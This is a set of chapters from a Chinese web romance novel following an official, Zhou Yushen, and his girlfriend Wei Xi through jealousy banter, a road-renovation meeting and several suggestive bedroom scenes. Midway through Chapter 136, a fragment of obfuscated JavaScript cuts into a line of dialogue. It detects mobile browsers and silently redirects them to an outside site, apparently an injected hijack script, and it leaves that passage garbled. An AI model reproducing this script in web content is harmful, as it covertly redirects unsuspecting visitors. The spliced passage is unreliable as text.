“这样啊?”蔚汐配合地轻叹一声,假装失望地说:“那可真遗憾,下次我一定准时。”
周聿深隔着屏幕也能想象到她笑靥如花的模样。
他深知这种全然的信任多么珍贵,自己那点上位者希望被在乎的小心思,在她坦荡的爱面前,反倒显得幼稚了。
“她父亲与我父亲是旧识,幼时在长辈场合见过几面,并无深交。我母亲生日那天,她来老宅探望,除此之外,私下再无任何的交集。”
蔚汐弯了弯眸,嗓音透着点清晰:“我看到她的言行举止,那种落落大方和底蕴,心里猜测的也是这样。”
她的语气里依旧只有坦诚的欣赏,没有任何异样情绪,更没有把那个略显亲近的称呼和能力出众的女性与周聿深本人联系起来。
自始至终,她都把关注点全然落在了对方本身的优秀上。
恰在这时,背景里传来轻微的敲门声。
梁秘书的声音恭敬响起:“周书记,该出发了。”
蔚汐立刻收敛了玩笑语气,“那你先去忙吧。”
“嗯。”周聿深轻应了一声,语气不自觉放柔,叮嘱道:“晚上不用等我,早点休息。”
晚宴接近尾声的时候。
周聿深收到了蔚汐发来的几条信息。
第一张是外公给她例行把脉的照片。
第二张是从她卧室窗户拍摄的月亮照片。
蔚汐:[不等你哦,我吃醋了。]
蔚汐:[所以打算这段时间都住在外公外婆这儿。]
蔚汐:[猫咪逃窜表情包]
周聿深看到这几条信息,眼底掠过一丝极淡的笑意。
哪里是因为吃醋才回去水榭兰亭。
分明是因为例假已经结束,担心前段时间嚣张蹭来蹭去会被“报复”回来罢了。
他刚准备退出微信,便看到了朋友圈动态那一栏有更新。
是好友聂绪刚发布的九宫格。
精致的生日蛋糕、盛放的红玫瑰、以及夫妻二人的合影。
他略一沉吟,点开了与聂绪的私聊对话框。
周聿深:[有件事想问问你。]
聂绪大概正陪着夫人,回复得很快,言简意赅:[说。]
周聿深:[如果有异性用了比较亲密的称呼叫你,你太太得知后的第一反应会是什么?]
聂绪:[基本流程是:先收到一堆某奢侈品牌新款包包和珠宝的图片,附言“老公,你看这个好不好看?”,我必须马上领会到其中含义,并给出令她满意的答复。]
周聿深继续输入:[如果她看起来毫不在意,甚至还表达出很欣赏对方能力的真诚态度呢?]
略一停顿,他又追加了一句:[是全然信任的缘故么?]
这次聂绪回复得慢了些。
似乎在认真思考,甚至还去问了身边的聂太太。
片刻后,他才开玩笑回复:[咱们也认识这么多年了,以我浅薄的、可能并不具备广泛代表性的个人经验来看——]
聂绪:[嗯。]
聂绪:[她不爱你。]
周聿深:[……]
聂绪:[开个玩笑哈哈哈哈,我太太说,爱情本就是自私的,那种过于得体的冷静,要么是那姑娘心性澄明,本身足够独立丰盈,她的世界不围绕任何人旋转,要么……就是春风未曾真正吹皱她心底的池水,所以她不在意。]
聂绪:[我告诉她蔚小姐一定是前者,并且足够优秀。我太太让我转告你不要身在福中不知福,这么好的姑娘上哪儿找,务必对人家好点。女孩子有时候太理性太懂事了,往往在感情中学不会依赖,也最容易吃亏。]
是啊。
不然那个看似冷静自持的姑娘,也不会傻乎乎的爱了一个不值得的人整整五年,分手后还在车上崩溃,哭得那样破碎无助。
手机屏幕暗下去又亮起。
周聿深指尖悬停片刻,终究没再回复聂绪。
直到回到泊月公馆,他才拨出了那个置顶的号码。
时间还早,周聿深没想到蔚汐已经提前休息。
电话那边传来她含糊慵懒的声音,带着浓重的睡意,显然是刚从深眠中被唤醒:“……喂?”
“吵醒你了?”他声音不自觉放得极轻。
“嗯……”她拖长了尾音,像撒娇的小猫,“怎么了?”
周聿深听着那软糯的语调,想象着她此刻睡眼惺忪的迷糊模样,心尖彻底变得柔软下来。
他低声开口,话语里浸透着连自己都未曾察觉的珍重:
“没什么。”
“就是想告诉你,我爱你,宝宝。”
第129章 临时有事 借你男朋友一用
时序入冬,海城寒意渐浓。
窗外的梧桐树叶早已落尽,只剩下光秃秃的枝干勾勒着灰白色的天空。
视频通话里,蔚汐穿着柔软的居家服。
她的怀里抱着个抱枕,下巴搁在上面,语气带着点显而易见的蔫儿:“外公外婆真的一天都不多留,梧桐里那边刚弄好就迫不及待搬走了。”
周聿深还在办公室,看向屏幕里那张写满不舍的小脸,温声问:“舍不得了?”
“嗯,”蔚汐轻轻点头,“药堂附近的邻居都盼着外公早点回去,他们一走,水榭兰亭这边空荡荡的,要不是梧桐里离我单位太远,我也想跟着搬回去了。”
周聿深眼底掠过了然的笑意,语气依旧平稳体贴:“周末我没什么安排,陪汐汐回梧桐里看看外公外婆?你也正好在那里过个周末?”
蔚汐眼眸弯了弯:“好啊,本来打算让舅舅陪我回去的,但是他最近不知道在忙什么,大半个月没见到人了。”
说完,她看向视频中男人轮廓分明,严肃又认真的侧颜。
原本已经到下班时间了,但是临时有个紧急文件需要处理,周聿深只好在办公室批阅。
蔚汐原本是想挂电话的,他不让。
就这么有一搭没一搭地听她在视频那边碎碎念。
“你还要忙多久呀?”
“这就好了。”
周聿深将文件收好,安排梁序进来取走。
而后才将目光落在视频中女孩精致漂亮的面庞上,心头微动,嗓音低沉:“听秘书办那边提起,环港中心新开了家口碑不错的甜品店,你喜欢的舒芙蕾和杏仁酪都有,我等下带过去给你?”
蔚汐瞬间就听懂了他的弦外之音。
外公外婆搬走了,舅舅也忙得不可开交,几乎不来水榭兰亭。
家里氛围不同往日,空空荡荡只有她一人。
他分明是借着送甜品的由头,想来“得寸进尺”了。
毕竟,两人也确实有一段时间没好好见面温存。
她脸颊微热,故意躲开视线,拖长了语调:“唔……不想吃甜的,没胃口。”
屏幕那头,周聿深低笑出声,仿佛早已看穿她的小把戏。
他身体微微前倾,靠近摄像头,声音压得很低,带着磁性的蛊惑:“甜品不想吃……那,想不想见我?”
蔚汐心跳倏然加快,被他目光笼罩着,手指无意识地揪紧了毯子边缘,没好意思立刻回答。
静默了几秒,他的声音再次传来,比方才更加温柔。
那声称呼裹挟着清晰的思念,撞入她耳膜:
“宝宝,我想你了。”
最终,蔚汐还是败下阵来,睫毛轻颤,几不可闻地“嗯”了一声,算是默许。
处理完手头最后一点事务,周聿深随手拿起搭在椅背上的深色大衣,沉稳的气质中更添几分凛然。
他并未直接前往水榭兰亭,而是绕路去了环港中心。
要见面,要带甜点,要带鲜花。
那家新开的甜品店果然人气颇旺,排着不短的队。
周聿深并未显露出丝毫不耐,静候片刻,挑选了几样招牌甜品。临离开时,想到她在家里大概什么也没准备,又折返回商场,买了不少晚上必需品。
车子平稳驶入水榭兰亭,停在那栋熟悉的别墅门前。
周聿深怀抱着鲜花,还未来得及关上车门,身后便响起一道沉稳的男声。
“聿深。”
周聿深转身,看到蔚时尧的越野车就停在不远处。
男人身姿挺拔,面容冷峻,似乎也是刚到不久,打算进去,“来找小汐?”
“嗯。”周聿深神色未变,从容打招呼,“刚忙完,过来看看她。”
蔚时
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尧目光在他手中鲜花和拎着的甜品袋上停留了一瞬,了然颔首,随即像是忽然想起什么,语气自然:
“正好,晚上没事吧?陪我出去一趟,喝两杯。”
“……”
周聿深动作微不可察地顿了一下,视线下意识投向透着暖光的窗户。
“汐汐那边……”他刚开口,蔚时尧已经拿出了手机。
几乎在同一时间,水榭兰亭客厅内。
正窝在沙发里纠结先去换件衣服还是先补个口红的蔚汐,听到清脆的提示音。
她拿起来一看,是舅舅蔚时尧的转账记录,金额丰厚得足够她连续一个月吃那家甜品店。
紧接着,舅舅的消息弹了出来:
蔚时尧:[临时有事,借你男朋友一用,什么晚饭夜宵都自己解决吧,吃好点,拜~]
蔚汐:“???”
“行了,”门外的蔚时尧收起手机,眼底透着点儿腹黑笑意,开口说道:“跟她打过招呼了。”
周聿深眼底掠过一丝无奈,抬手示意,语气依旧沉稳:
“东西得给她,稍等我几分钟。”
蔚时尧挑眉,倒是没再催促,只是扬了扬下巴,示意他快去快回。
刚走进客厅,迎面便撞见了准备出门的蔚汐。
她拿着手机,屏幕上还亮着那条离谱的十万转账记录。
“你——”
话没说完,周聿深就不由分说地将花和甜品塞进她怀里。
“长辈开口,不能不去。”他俯身在她唇角印下一个短暂的吻,温热的气息拂过:“等我回来宝宝,不许先睡。”
蔚汐听着他略显强势的语气,睫毛轻颤,小声应:
“万一你回来太晚……睡着了呢?”
周聿深目光沉了沉,指腹轻轻擦过她柔软的双唇,声音里带着蛊惑的低哑:“那就……做、醒。”
第132章 “模糊问题,反向质问。”
周聿深推开卧室门,室内只开了一盏昏黄的床头灯。
蔚汐侧身躺着,被子裹得严严实实,一副已经熟睡的姿态,连头发丝都透着刻意。
他眼底掠过一丝了然的笑意,反手轻轻关上门。
床垫因他的重量微微下陷。
装睡的人依旧毫无破绽,甚至连呼吸的频率都没乱一下。
他没有立刻揭穿,只是俯身,温热的手掌轻轻落在她露在外面的肩头上,感受到那细腻肌肤下的微僵。
“宝宝。”他低声唤她,嗓音沉缓。
被子里的身影毫无反应,试图将装睡进行到底。
周聿深轻笑,非但没有收回手,反而得寸进尺地用手指轻轻勾了勾她散在枕上的发梢,“真睡着了?”
见她依然没有回应,他指腹在她柔软的脖颈轻轻摩挲了一下,然后顺着纤细的薄背滑下,找到她藏在被子里的手,颇为强势地同她十指紧扣。
“!”被子底下的人猛地一颤,手指微微蜷缩了一下,试图挣脱,却又没什么力气。
蔚汐装不下去了,声音带着明显的醋意和娇蛮,故意拖腔带调地说:“谁呀……私闯民宅?再不出去我报警了哦。”
“报警?”他重复道,眼底笑意更深,甚至带着点认真探讨的意味:“理由是什么?男朋友深夜回家,试图哄一哄假装吃醋生气的女朋友?”
蔚汐仰头看他,头发有些凌乱,脸颊泛着红晕。
一双眼睛亮晶晶地瞪着他,故意板着小脸说:
“谁男朋友?不认识。”
“这位先生,请你自重,再不走我真的要打电话了。”
说着,她还真的要起身,试图去找放在床头柜上的手机。
周聿深看着她虚张声势的样子,觉得可爱得紧。
他快她一步,单手便轻而易举便将她重新摁了回去,女孩纤细的双臂被举到头顶,毫无反抗之力。
“电话里的那个声音,是舅舅公司的……客人。”
周聿深平静开口,像是在陈述一件寻常公事,却又因为对象是她而染上独特的耐心:
“当时两个人在争执什么不该有的心思,那句话也是跟舅舅说的,你正要离开的男朋友纯属是无妄之灾。”
蔚汐听到无妄之灾就忍不住想笑了,但她还是忍了忍,一本正经地开口:“可是舅舅明明说过,爱情是什么东西,狗都不要,他怎么又要了?”
周聿深继续不紧不慢地解释:“这话应该问当事人。”
“哦……”她故意拖长了声音,眨了眨眼,状似不经意地追问:“那漂亮吗?”
周聿深没有任何停顿,回答得干脆利落:“没注意。”
蔚汐立刻抓住了他的话柄,学着他平日工作里那套先模糊焦点,再反向质询的招数,唇角弯起一抹狡黠的弧度:
“可是我还没说她是谁呢?你怎么就回答没注意了?”
“一向严谨的周聿深,如今跟我在一起,心里想的难道不应该是我吗?为什么会没注意呢?”
她微微歪头,故作不解,“嗯?说话呀。”
周聿深听到这一连串逻辑清晰又带着明显撒娇意味的反问,眼底染着浅浅笑意,他非但没有被将住军,反而觉得这样狡黠的她,可爱又迷人。
他低笑出声,松开了钳制她的手,转而捏了捏她的脸颊,语气满是纵容:
“汐汐这招‘模糊问题,反向质问’,真是学得十成十,青出于蓝。”
蔚汐微微扬起下巴,哼了一声:“近墨者黑。”
很早之前在**办公室,周聿深问了一堆有的没的,三言两语就逼她自己如实承认写匿名信那件事。
实在是给当时的蔚汐造成了不小的心理阴影。
她怎么都没想到,当初那个高高在上质问她的男人,此刻会收敛所有锋芒,甚至有些患得患失。
“不过,”他俯身,额头轻抵着她,呼吸相闻,“我当时确实在想一个和汐汐有关的问题。”
“嗯?”蔚汐被他突然的靠近惹得心跳快了半拍。
周聿深指尖轻轻描摹着她的脸颊轮廓,最后停留在她因为紧张而微微抿起的唇上。
“我在想,如果真有别的异性,深夜出现在我身边,用暧昧的语调喊我的名字……汐汐是不是还能保持绝对的理性,毫不在意?”
蔚汐呼吸微窒,被他话语里假设的场景刺了一下。
她不在场,不知情,不能亲眼所见。
在这个前提下,她还能保持理性吗?
蔚汐心里已然有了个无比清晰的答案,
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但还是好奇他的看法和想法:“那……你有答案了吗?”
周聿深眸光深邃,仿佛要望进她心底。
他刻意放缓了语速,逐字说道:“假设永远不会发生,答案永远不会存在。”
这近乎承诺的话语,像暖流瞬间包裹住蔚汐的心。
她忍不住伸手揽住了他的脖颈,主动仰头在他的脸颊上印上一吻,又快速移开。
“对了!你回来了,舅舅和那个女孩子……还在那边?”
“嗯。”
周聿深应了声,心思明显不在聊天上面了。
蔚汐漂亮的长睫轻眨,闪烁着八卦的光芒:“真的没看清她漂不漂亮?具体在聊什么?和舅舅站在一起般不般配?会不会是我们未来的……”舅妈。
话还没说完,周聿深就低头吻住了她,将她未尽的话语全都堵了回去,再也说不出半个字。
直到她软绵绵地化在他怀里,他才稍稍退开,气息有些不稳,嗓音暗哑:“宝宝,难得的没人打扰的时间,确定要一直讨论舅舅和他的客户吗?”
蔚汐脸颊绯红,眼神湿漉漉地看着他,心跳如鼓。
周聿深拉着她的手,放在自己衬衫的纽扣上,声音诱惑:“帮我解开。”
或许是今晚他的回答让她格外安心,也或许是氛围使然。
哪怕蔚汐的指尖微微颤抖,动作缓慢,却依然格外配合地一颗一颗解开了他衬衫的扣子,露出极具荷尔蒙气息的胸膛和块状分明的腹肌。
“继续。”
他拉着她的手继续往下,摸索到冰凉的皮带扣。
“咔哒”一声轻响。
在安静的卧室里格外清晰。
室内温度攀升,氛围一触即燃。
周聿深的吻再次落下,比之前更加炽热急切,掌心在她身上游走,点燃一簇簇火苗。
蔚汐意乱情迷地回应着,在他试图更进一步时,却忽然想起什么,轻喘着抵住他的胸膛,“周聿深……”
“嗯?”他声音沙哑得厉害,吻着她的耳垂。
“在客厅……我……没带上来……”她脸颊烫得惊人,声音细若蚊呐,几乎要把脸埋进他怀里。
周聿深的吻流连到她的颈侧,带着滚烫的温度和一丝惩罚的轻咬,“故意的?宝宝?”
第133章 调研汇报 常见托词
客厅柔和的光线透过落地窗漫溢进来,勾勒出他深邃的侧脸和紧实的肌肉线条。
蔚汐的长发如海藻般垂落,微微晃荡。
微颤的眼睫和泛着迷人粉色的肌肤,仿佛真的是一尾美丽而羞涩的蓝色小鱼,正被她的猎人捕获,带往属于他的深海。
“为什么放窗帘后面?”
“打算藏起来的……”
“所以发信息没有及时回复,就是在干坏事?”
东西刚藏了一半,就收到周聿深说他要回来的消息,吓得蔚汐立马打电话过去问他。
结果最后不仅没有得逞,反倒还连累了自己。
空气中弥漫着无声却沉重的渴望。
那尾被卷入汹涌急流的蓝色小鱼,紧紧依附着高山边缘,在漫无边际的深海中沉浮,直至力竭。
**
翌日清晨。
蔚汐几乎是挣扎着从深沉的睡眠中转醒。
她的动作比平时慢了好几拍,才收拾妥当下楼吃早餐。
只要他在,只要时间来得及,周聿深都会提前备好所有。
餐桌上还压着一张便签。
上面是他利落劲挺的字迹:
【早安,宝宝。】
【好好吃饭,下午见。】
蔚汐看到这些,心里那点因为他不知节制而生出的细微怨气,稍稍消散了不少。
下午有个关于道路改造的重点项目协调会。
他是主要领导,而她作为城建处跟进这个项目调研的主要负责人,也需要出席。
几个道路改造的点分散在城市不同区域。
但即便如此,蔚汐该跑的地方一点儿没少,她听得认真,问得细致,偶尔会停下来与现场负责的工程师低声讨论。
在一处临街店铺密集的段点,她停留得最久。
沿街商户脸上堆着焦虑,每个人都在倒苦水。
“这围挡一打,我们这生意可就真没法做了……”
“是啊,我们不是不支持上面工作,路修好了也方便我们,但是能不能缓几天啊,让我们把店里库存清清?”
“情况我了解了,我会尽力反映。”蔚汐声音温和,并没有直接给出虚妄承诺。
跑完最后一处,已是中午。
她和底下的人匆匆赶回单位,离协调会开始只剩不到两个小时。
办公室门一关,蔚汐几乎是跌坐在椅子上。
她缓了几秒才打开电脑,将上午实地获取的最新情况快速整理,更新进汇报材料里。
中心大楼的会议室内,气氛严肃而凝重。
关于海城市道路更新改造的方案协调会在这里进行,现场来了不少发改、交通厅、住建厅以及相关单位的负责人。
周聿深坐在主位,神情冷峻,听着各方的汇报和讨论。
他偶尔会插话询问几个关键问题,语气平稳却自带威压,牢牢掌控着会议的节奏和方向。
轮到住建厅发言时,陆振江先做了概括性陈述,随后才看向身旁的蔚汐:“关于施工期间社会影响评估的细节,尤其是一些重点敏感区域的情况,请蔚汐同志做详细补充。”
蔚汐站起身,条理清晰地把几个重点区域的问题讲了。
最后,她话锋微转,提到了临街商户的情况。
“基于上午的实地调研,施工对沿线小商户的影响确实比较大,特别是那些依赖临街客流的老店。”
“如果围挡设立能在进度允许的范围内,哪怕稍微灵活地调整三五天,允许他们完成库存清理的过渡安排,或许能减少很多不必要的损失,有利于体现我们政策执行中的温度,后续商户的配合度也会更高。”
会场出现短暂沉默。
几位来自海城的相关负责人也微微点头,显然他们也在承受着基层压力。
周聿深的目光终于落在蔚汐身上,眸光深邃。
他身体微微前倾,缓缓开口:“蔚科长的调研很细致,提出的问题也很现实,但是——”
蔚汐的心莫名悬了起来,等待他的下文。
果不其然……<
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br>他看向发改和交通厅的负责人,“蔚科长提出的这些优化建议,具体需要增加多少工期?配套的帮扶措施,执行层面的物力财力能否跟上?能不能确保方案优化后,不会再衍生出新的、更复杂的问题?”
他没有直接否定蔚汐的建议,而是精准地将难题抛回了操作层面,暗示了其中可能存在的潜在风险。
周聿深讲话时带着一种居于高位的全局视角:
“这个项目是纳入全省年度重点基础设施清单的,工期和预算的必要性摆在第一位,任何环节的延迟都会产生连锁反应,增加不可控的成本。”
“商户的困难,指挥部和街道要配合做好解释和疏导工作,不能寄希望于调整既定方案。”
蔚汐安静地听着,没有再追加争辩。
她明白。
在这个层面上,她作为科室负责人的职责已经履行。
至于最终的决策,还需要综合更多复杂的因素,需要更高层面的权衡。
会议结束时,方案未定,但倾向已隐约可见。
周聿深率先起身离开。
蔚汐的座位恰好在走廊边缘,她正低头整理着资料。
经过她身边时,周聿深的身形略有停顿,声音平稳:“蔚科长。”
闻言,她抬起头,神色如常地起身应道:“周**。”
周聿深目光掠过她微微抿紧的唇,声音比方才缓了半分,却依旧保持着公事公办的疏离感:“你提出的问题和建议,角度很实际,也确实是基层会遇到的难处。”
“内部可以再研究一下应对方案,后续会统筹考虑。”
蔚汐抬起眸,几乎是下意识地,很快地看了他一眼。
只有一秒,甚至更短。
她微微垂下视线,声音礼貌而疏离,甚至比刚才更平淡了几分:“是,周**。我们会按您的指示,配合好后续工作。”
研究一下。
体制内最常见的托词之一。
周聿深真当她听不明白嘛……
第136章 “我哪儿凶你了?嗯?”
隔着屏幕,蔚汐几乎能想象到他此刻微微挑眉,略带疑惑又沉稳的模样。
她抿着笑,继续打字:
[你以前可凶了,布置任务的时候一点情面都不讲,半点商量余地都没有,要求严苛到令人心惊胆战胆战心惊。]
[连带着我们陆处长,都被你劈头盖脸训过好几回,吓得他那段时间天天盯在我们办公室门口,愁得头发都白了几根。]
[现在居然……会“借题发挥”了?]
[周**,这算不算也是一种进步?]
消息发出去。
蔚汐看着屏幕,嘴角弯弯地等着。
刚结束会议的周聿深坐在车后座,看着手机屏幕上接连跳出的信息,尤其是那句带着明显调侃的“进步”,眼底掠过一丝极淡的笑意。
他骨节分明的手指轻点,回复了过去。
手机一震,蔚汐立刻看去。
周聿深:[以前是对事,现在也是对事。]
周聿深:[建议的价值在于其本身,与谁提出无关。]
周聿深:[那份材料思路清晰,具有普适参考意义,用在更合适的地方,是工作需要。]
蔚汐看着这典型的“周聿深式”回答,只觉得太熟悉了。
她正想着怎么回复,他的下一条消息又来了。
周聿深:[另外,需要纠正一下你口中的借题发挥。]
周聿深:[这叫——资源优化配置。]
蔚汐:[哦~所以周**是把我当“资源”了?]
周聿深:[是把你当“标准答案”。]
蔚汐:[那要是下次我的答案不符合标准呢?]
周聿深:[周**会批评,但周聿深会永远为你保留指导的权利。]
看到他的回答,蔚汐脸颊微微发热,心里却像是含了颗糖,甜得化不开。
她捧着手机,刚要发送的时候,屏幕上突然弹出一条语音通知,显示正是和她发信息的那位周先生。
她愣了一下,赶紧接起,声音里还带着未散的笑意。
“怎么了?周**要指导我工作吗?”
电话那头传来他低沉的声音,比平日更柔和几分,透过听筒敲击着她的耳膜:“正在指导蔚科长怎么正确理解‘资源优化配置’。”
蔚汐反应极快,故意问他:“那周**是承认把我当‘资源’了?”
“是在肯定你的价值。好的思路,不该被埋没。”他话音顿了顿,低沉下来:“……更不该让你为此感到难过。”
蔚汐攥着手机,声音软了下来:“嗯,我开玩笑的。”
“今晚加班吗?”
“应该…不加吧。”
周聿深轻笑了声,嗓音带着浅浅的磁性:“那下班我去接你?当面说说我以前……怎么对你严苛得不近人情了。”
蔚汐没有任何怯场,反倒有点跃跃欲试的期待,“当面说就当面说,周**难道还会打击报复不成?”
电话那头传来他低低的笑声:“不敢,宝宝。”
**
直到下班。
周聿深脑海中还依然回荡着她的那句当面说,语气完全是掩饰不住的期待。
他认真回忆了两遍和她相处的细节,是真的没有想到在什么场合什么事件上严厉批评过蔚汐。
从他第一次在校园遇见她,再到工作中偶尔短暂的接触。
印象中。
克制的情绪在他这儿占据绝大多数。
即便有任何的问题或者需要修改的地方,也从未说像批评其他人那样,劈头盖脸一顿训斥。
因为她本身就是优秀的。
放眼整个系统,和她同龄的,或者比她稍大两三岁的,工作能力和工作态度,蔚汐毫无疑问都排在前列。
单位大门外的临时停车区。
周聿深的私车安静地停在不远处。
他的手臂随意地搭在窗沿,袖口挽至小臂,露出线条利落的手腕,骨节分明的左手自然垂落,指节清晰。
淡青色的血管随着他无意识的屈指动作若隐若现,透着一股沉稳而慵懒的性感。
蔚汐走近时,目光不由自主地被那只手吸引。
她拉开车门坐进去的瞬间,那只搭在窗外的手收了回来。
他的手臂环住她的腰,将她轻轻带进怀里,下巴蹭了蹭她的发顶,温柔得不像话。
“我哪儿凶你了?嗯?”
蔚汐指尖无意识地绕着他的衣角,声音里带着一丝娇嗔:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355157|183541||http|test|mini|href|location''.split(''|''),0,{}));
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r>“怎么没有?那次关于青林县的方案,我被点名坐进第一排汇报,周**您那一连串的反问,‘灵活的标准和底线’‘关键环节薄弱’‘方案重做’”
“……语气简直又冷又硬,我当时都快紧张得不会呼吸了。”
周聿深掌心轻抚着她的后背,眼底带着些了然的笑意。
“那只是正常的询问和提点,不是批评。”
“况且,在我的记忆里,你的汇报逻辑清晰,条理分明,可没见半点胆战心惊。”
!!!
怎么没有!!!
蔚汐想到那天的场景都有些发虚,忍不住反驳说:“我坐下来的时候腿都是软的,想喝口水定定神,结果连瓶盖都手软得拧不开,最后还是我……我……前……嗯……”
话音戛然而止,她把那个差点脱口而出的称呼给硬生生咽了回去。
周聿深摩挲着她后背的手微微一顿。
他垂眸看她,目光沉静,语气极轻地重复了一句:
“前什么?”
蔚汐原本想敷衍过去的,如今被追问,眼神飘忽了一下。
周聿深却并不想模糊过去,“紧张什么?”
蔚汐莫名感觉到一丝无形的压力,含糊着回答:
“前……那个谁……拧开的……”
周聿深缓缓松开了环着她的手,坐直身体,重新握回方向盘,淡淡道:“嗯,挺好。先回家吧。”
他的语气依旧温和,只是比刚才多了些难以言喻的静默。
一路无话,直到回家。
进了门,玄关灯光亮起。
周聿深脱下外套挂好,步履从容地走向餐厅,打开冰箱,拿出两瓶冰镇矿泉水。
他转过身,倚在流理台边,用那双沉静的眼看着她。
只见他手腕不紧不慢地一旋,瓶盖应声松动,发出细微的“咔”声,却并没有完全拧开。
“过来,”周聿深自然而然地开口,声线平稳得像在讨论工作:“帮个忙。”
蔚汐走过去,还未反应过来,冰凉的瓶身便递到她手中。
他眉眼疏淡,藏着未尽之语,意味不明地说:
“我也拧不开,宝宝帮帮忙?”
蔚汐:“……”
第137章 所谓风度 都是伪装
蔚汐看着他递过来的水瓶,和他那副分明游刃有余却偏要装作力不从心的模样,强忍着笑意。
她故意用指尖碰了碰他握着瓶身的手,嘴角忍不住向上弯,语气诚恳至极:
“我来我来,这种力气活当然我来。”
周聿深垂眸盯着她看。
纤细的手指稍一用力,瓶盖应声而开。
蔚汐眉眼弯弯地仰头看他:“要喝吗?要帮忙吗?”
周聿深姿态慵懒地倚靠着后面的台子,没动,也没说话。
但那意思也很明显。
要喂。
蔚汐靠近了两步,特别贴心地将水递到他唇边:“嗯~”
周聿深伸手接过后,并没有喝,而是随手放在了台上。
冰凉的瓶身沁出细密的水珠。
他向前一步,将她困在他与冰冷的台面之间,手臂撑在她身侧,目光锁住她。
“这不是能打开么?”
“以后这种问题,找别人前,先反思自己。”
蔚汐终于忍不住笑出声,她伸手回抱住他,肩膀轻颤,放软声音问:“你也不行吗?”
周聿深很轻地“嗯”了一声,“不行。”
蔚汐乖乖应了声:“噢~”
下一秒。
她就把冰冰凉凉带着湿意的手从他衣服下探了进去。
周聿深微微凸起的喉结上下滚动,呼吸陡然间沉了几分。
但他并未阻止,反而将手臂收得更紧了些。
蔚汐仰头看他,眼底带着未散的笑意,手指不安分地轻轻戳了一下,“给你降降温,火气不要那么大嘛。”
他低下头,鼻尖几乎相触,温热的呼吸交融。
“这样降温没用。”
“嗯?”
柔软的尾音刚落。
周聿深忽然低下头,精准地捕捉到了她的唇。
这个吻起初带着点惩罚的意味,撬开她的齿关,深入而缱绻,仿佛要彻底覆盖掉那点儿深沉的醋意。
蔚汐被吻得晕头转向,只能依偎着他。
良久,他才克制着稍稍退开,指腹摩挲着她泛着水光的下唇,眼神暗沉,“这样才好,明白么?”
男人有时候计较起来。
真是有种无理取闹的娇气。
蔚汐轻喘着,连带着语气也温软了不少:“明白啦。”
周聿深手掌覆上她仍带着凉意的手背,带着她缓缓向上,停在自己心口。
“晚饭想吃什么?那天买的牛肉?”
“嗯~都行。”
“去客厅玩吧。”周聿深把她手暖热后才松开她,轻拍了拍她的头顶,“一会儿就好。”
蔚汐看着他转过身的背影,肩背宽阔,利落沉稳。
这种极致的反差感让她的心跳莫名又快了几拍。
明明前一秒还在为陈年旧醋不动声色地计较,后一秒就能温柔问她晚饭想吃什么。
两小时后。
蔚汐决定撤回温柔这句话。
水汽氤氲的浴室里,门被悄无声息地推开。
周聿深高大的身影走了进来,拿着东西,反手关上门。
他并未急切靠近,而是倚在洗手台边,看着她被水汽蒸得泛红的脸颊,带着不容忽视的侵略性。
水流声是此刻唯一的背景音。
周聿深看她有些无措地停下动作,才不紧不慢地走上前,伸手试了试水温。
“水温刚好。”他的手绕过她,取过沐浴露,掌心搓揉出丰盈泡沫。
然后,带着暖意的手掌自然而然覆上她的脊背。
蔚汐轻轻一颤,下意识想躲,却被他稳稳扶住腰侧,固定在他与墙壁之间。
他低下头,高挺的鼻梁蹭过她柔软的颈侧,最后落在与她近在咫尺的双唇上,故意问她:
“宝宝,接吻要怎么换气?”
“我不会。”
蔚汐耳根瞬间红透,手抵着他胸膛,“你……”
话还没说完,就被他低头吻住。
直到蔚汐软软地靠在他怀中,周聿深才引导着她的手臂环上自己的脖颈。
“然后呢?手该放哪里?”
“这样抱我吗?”
蔚汐眼睫上沾着水珠,分不出是热水还是泪水。
他抱着她,将她稍稍托起,始
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终游刃有余。
“这个呢?”
“应该怎么弄?”
蔚汐看着被他带过来本不属于浴室的东西,恨不得把自己埋进他怀里,不愿面对。
周聿深却极有耐心地等着,等她完成这个简单的任务,等她交出一个完美的方案。
他的动作分明强势得不容抗拒,偏偏还要用最认真的语气追问她:“我那天对你很凶么?”
蔚汐正思考着怎么回答。
周聿深又故意,声音哑得厉害:“现在呢?很凶吗?”
每一个问句都伴随着一个或轻或重的吻。
识时务者为俊杰。
蔚汐不愿意在这个时候逞强,跟他辩解。
他问什么她都特别配合地回答,哽咽着说:“不凶……你一点都不凶……”
周聿深似是满意了,喉咙里滚出一声低笑。
他低头吮去她眼角的泪。
奖励般地将她更紧地按向自己。
“关于那场会议。”
“你只许记得我。”
浴室内水汽弥漫,呼吸灼**交织在一起。
所谓成熟男人的风度,在某些时刻,大抵都是伪装。
**
凌晨时分。
卧室里弥漫着慵懒暧昧的气息。
周聿深侧躺着,略显强势地环着她的腰,把人圈在怀里。
蔚汐靠在他怀里,听着他逐渐平稳的心跳,假装无意识地动了动,仿佛只是在寻找更舒适的位置。
右手则是悄无声息地从他腰侧滑下,轻轻勾住他的手指。
她努力保持手臂的放松,快速地虚虚圈了一下他的无名指,感受着大概的围度,在心里记下。
就在她准备悄悄收回手时——
头顶传来男人慵懒而带着一丝餍足沙哑的声音,他似乎并未睁眼,嗓音带着事后的宠溺:“怎么了?乱动什么?”
蔚汐身体一僵,像被踩到尾巴的猫,心虚又紧张。
“嗯…没什么……就是…想看看手……”
她顺势握住他的腕骨,轻轻晃了下,小声问:“你要戴我的小皮筋吗?”
第138章 戴小皮筋 现场意外
话音刚落。
周聿深温热的大掌便精准地落在她的腰间,不轻不重地按了一下,带来明显的酸痛感。
蔚汐猝不及防地溢出一声轻吟。
“刚才是谁哭着说没力气,连抱都抱不住?”他低笑,气息拂过她的脸颊,“现在倒有精神起来去拿小皮筋了?”
蔚汐瞬间安分了,把脸埋进他胸膛,声音闷闷地传出来:
“不拿了不拿了……睡觉。”
他收拢手臂,将她更紧地拥入怀中。
卧室重归宁静,只有彼此交错的呼吸声。
就在蔚汐快要沉入梦乡时,他又开口,声音在万籁俱寂的夜里显得格外清晰。
“这周六,汐汐有时间吗?”
蔚汐困意朦胧,却还是认真思考了一下,“周五我得去西华路改造现场看一下,好像有几个管线迁移的问题需要协调,如果处理不完的话……周末就得加班了。”
